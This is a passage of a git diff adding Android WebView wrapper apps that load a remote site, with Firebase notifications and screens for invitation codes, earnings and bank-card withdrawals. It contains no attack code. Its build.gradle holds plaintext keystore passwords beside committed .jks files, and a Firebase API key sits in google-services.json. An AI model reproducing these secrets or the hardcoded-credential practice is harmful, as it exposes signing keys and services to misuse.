b/millionkking/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/millionkking/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/mipmap-hdpi/ic_empty.png b/millionkking/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/millionkking/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/millionkking/src/main/res/mipmap-hdpi/ic_pull_down.png b/millionkking/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/millionkking/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/millionkking/src/main/res/mipmap-xhdpi/ic_close.png b/millionkking/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/millionkking/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/millionkking/src/main/res/mipmap-xhdpi/ic_menu.png b/millionkking/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/millionkking/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/millionkking/src/main/res/mipmap-xxhdpi/app_logo.png b/millionkking/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..26d8835 Binary files /dev/null and b/millionkking/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/millionkking/src/main/res/mipmap-xxhdpi/app_logo1.png b/millionkking/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..d4259f9 Binary files /dev/null and b/millionkking/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/millionkking/src/main/res/values-en/strings.xml b/millionkking/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/millionkking/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/millionkking/src/main/res/values-night/themes.xml b/millionkking/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/millionkking/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/values/colors.xml b/millionkking/src/main/res/values/colors.xml new file mode 100644 index 0000000..10632f6 --- /dev/null +++ b/millionkking/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #137d0a + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/millionkking/src/main/res/values/strings.xml b/millionkking/src/main/res/values/strings.xml new file mode 100644 index 0000000..1342ad7 --- /dev/null +++ b/millionkking/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + MillionKing99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/millionkking/src/main/res/values/themes.xml b/millionkking/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/millionkking/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/xml/app_updater_paths.xml b/millionkking/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/millionkking/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/xml/network_security_config.xml b/millionkking/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/millionkking/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/millionkking/src/main/res/xml/provider_paths.xml b/millionkking/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/millionkking/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/millionkking/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/millionkking/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/millionkking/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/mrbluey/.gitignore b/mrbluey/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/mrbluey/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/mrbluey/build.gradle b/mrbluey/build.gradle new file mode 100644 index 0000000..5a49a81 --- /dev/null +++ b/mrbluey/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.mrbluey" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "mrbluey" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/mrbluey/google-services.json b/mrbluey/google-services.json new file mode 100644 index 0000000..2a47087 --- /dev/null +++ b/mrbluey/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "626164438870", + "project_id": "mrbluey-ee679", + "storage_bucket": "mrbluey-ee679.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:626164438870:android:47997a1da0b8b1f71be8f7", + "android_client_info": { + "package_name": "com.xyz.mrbluey" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAGFJFd8BKZv5PRooj_NbHCC2THr0RErxo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/mrbluey/justlet.jks b/mrbluey/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/mrbluey/justlet.jks differ diff --git a/mrbluey/ppn.jks b/mrbluey/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/mrbluey/ppn.jks differ diff --git a/mrbluey/proguard-rules.pro b/mrbluey/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/mrbluey/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/mrbluey/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/mrbluey/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/mrbluey/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/mrbluey/src/main/AndroidManifest.xml b/mrbluey/src/main/AndroidManifest.xml new file mode 100644 index 0000000..a2f944b --- /dev/null +++ b/mrbluey/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/java/com/xyz/mrbluey/MainActivity.java b/mrbluey/src/main/java/com/xyz/mrbluey/MainActivity.java new file mode 100644 index 0000000..8706dc0 --- /dev/null +++ b/mrbluey/src/main/java/com/xyz/mrbluey/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.mrbluey; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 226; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://mrbluey.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#193b90"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#010026"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/mrbluey/src/main/java/com/xyz/mrbluey/MyFirebaseMessageingService.java b/mrbluey/src/main/java/com/xyz/mrbluey/MyFirebaseMessageingService.java new file mode 100644 index 0000000..adc6686 --- /dev/null +++ b/mrbluey/src/main/java/com/xyz/mrbluey/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.mrbluey; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/mrbluey/src/main/java/com/xyz/mrbluey/WebApplication.java b/mrbluey/src/main/java/com/xyz/mrbluey/WebApplication.java new file mode 100644 index 0000000..7bd0d61 --- /dev/null +++ b/mrbluey/src/main/java/com/xyz/mrbluey/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.mrbluey; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/mrbluey/src/main/res/drawable-anydpi/ic_action_back.xml b/mrbluey/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/mrbluey/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/mrbluey/src/main/res/drawable-hdpi/ic_action_back.png b/mrbluey/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/mrbluey/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/mrbluey/src/main/res/drawable-mdpi/ic_action_back.png b/mrbluey/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/mrbluey/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/mrbluey/src/main/res/drawable-v24/ic_launcher_foreground.xml b/mrbluey/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/mrbluey/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable-xhdpi/ic_action_back.png b/mrbluey/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/mrbluey/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/mrbluey/src/main/res/drawable-xxhdpi/ic_action_back.png b/mrbluey/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/mrbluey/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/mrbluey/src/main/res/drawable/big_bg.xml b/mrbluey/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..259f61a --- /dev/null +++ b/mrbluey/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable/ic_launcher_background.xml b/mrbluey/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/mrbluey/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/mrbluey/src/main/res/drawable/input_bg.xml b/mrbluey/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/mrbluey/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/mrbluey/src/main/res/drawable/pass_word_bg.xml b/mrbluey/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/mrbluey/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/mrbluey/src/main/res/drawable/pass_word_bg1.xml b/mrbluey/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/mrbluey/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable/pass_word_bg2.xml b/mrbluey/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/mrbluey/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable/shape_btn_bg.xml b/mrbluey/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/mrbluey/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable/shape_dialog_bg2.xml b/mrbluey/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/mrbluey/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable/shape_dialog_bg3.xml b/mrbluey/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/mrbluey/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/drawable/shape_dialog_bg_new.xml b/mrbluey/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/mrbluey/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/mrbluey/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/mrbluey/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/mrbluey/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/mrbluey/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/mipmap-hdpi/ic_empty.png b/mrbluey/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/mrbluey/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/mrbluey/src/main/res/mipmap-hdpi/ic_pull_down.png b/mrbluey/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/mrbluey/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/mrbluey/src/main/res/mipmap-xhdpi/ic_close.png b/mrbluey/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/mrbluey/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/mrbluey/src/main/res/mipmap-xhdpi/ic_menu.png b/mrbluey/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/mrbluey/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/mrbluey/src/main/res/mipmap-xxhdpi/app_logo.jpg b/mrbluey/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..d34a8ff Binary files /dev/null and b/mrbluey/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/mrbluey/src/main/res/values-en/strings.xml b/mrbluey/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/mrbluey/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/mrbluey/src/main/res/values-night/themes.xml b/mrbluey/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/mrbluey/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/values/colors.xml b/mrbluey/src/main/res/values/colors.xml new file mode 100644 index 0000000..3a1b410 --- /dev/null +++ b/mrbluey/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #193b90 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/mrbluey/src/main/res/values/strings.xml b/mrbluey/src/main/res/values/strings.xml new file mode 100644 index 0000000..b9f2be2 --- /dev/null +++ b/mrbluey/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + MRBLUEY + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/mrbluey/src/main/res/values/themes.xml b/mrbluey/src/main/res/values/themes.xml new file mode 100644 index 